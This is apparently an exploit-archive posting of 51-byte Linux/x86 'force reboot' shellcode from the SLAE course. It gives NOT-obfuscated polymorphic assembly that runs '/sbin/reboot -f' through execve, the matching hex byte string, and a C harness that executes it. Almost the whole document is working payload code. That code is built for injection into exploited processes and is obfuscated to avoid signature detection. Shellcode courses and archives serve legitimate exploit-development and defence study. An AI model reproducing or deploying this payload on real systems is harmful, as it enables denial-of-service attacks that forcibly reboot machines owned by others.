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Linux/x86 Force Reboot Shellcode

Linux/x86 Force Reboot Shellcode
Posted Aug 1, 2019
Authored by Daniel Ortiz

51 bytes small Linux/x86 force reboot shellcode.

tags | x86, shellcode
systems | linux
MD5 | 945b7d310b04ec922883e11c87a6f7db

Linux/x86 Force Reboot Shellcode

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#---------------------- DESCRIPTION -------------------------------------#

; Title: [NOT encoded] Linux/x86 Force Reboot shellcode for Linux/x86 - Polymorphic
; Author: Daniel Ortiz
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
; Size: 51 bytes
; SLAE ID: PA-9844


#---------------------- ASM CODE ------------------------------------------#


SECTION .data

SYSCALL_EXECVE equ 11

SECTION .text

global _start

_start:
nop
or eax, 0xffffffff
not eax
push eax


mov eax, 0x8b90909d
not eax
push eax

mov eax, 0x9a8dd091
not eax
push eax

mov eax, 0x969d8cd0
not eax
push eax

xor eax, eax
mov ebx, esp
push eax
push word 0x662d
mov esi, esp
push eax
push esi
push ebx
mov ecx, esp
or al, SYSCALL_EXECVE
int 0x80


#------------------------- final shellcode ----------------------------------------#

unsigned char buf[] =

"\x90\x83\xc8\xff\xf7\xd0\x50\xb8\x9d\x90\x90\x8b\xf7\xd0\x50"
"\xb8\x91\xd0\x8d\x9a\xf7\xd0\x50\xb8\xd0\x8c\x9d\x96\xf7\xd0"
"\x50\x31\xc0\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\x0c\x0b\xcd\x80";




#------------------------- usage --------------------------------------------------#

include <stdio.h>
#include <string.h>

char *shellcode =

"\x90\x83\xc8\xff\xf7\xd0\x50\xb8\x9d\x90\x90\x8b\xf7\xd0\x50\xb8\x91\xd0\x8d\x9a\xf7\xd0\x50\xb8\xd0\x8c\x9d\x96\xf7\xd0\x50\x31\xc0\x89\xe3\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53\x89\xe1\x0c\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
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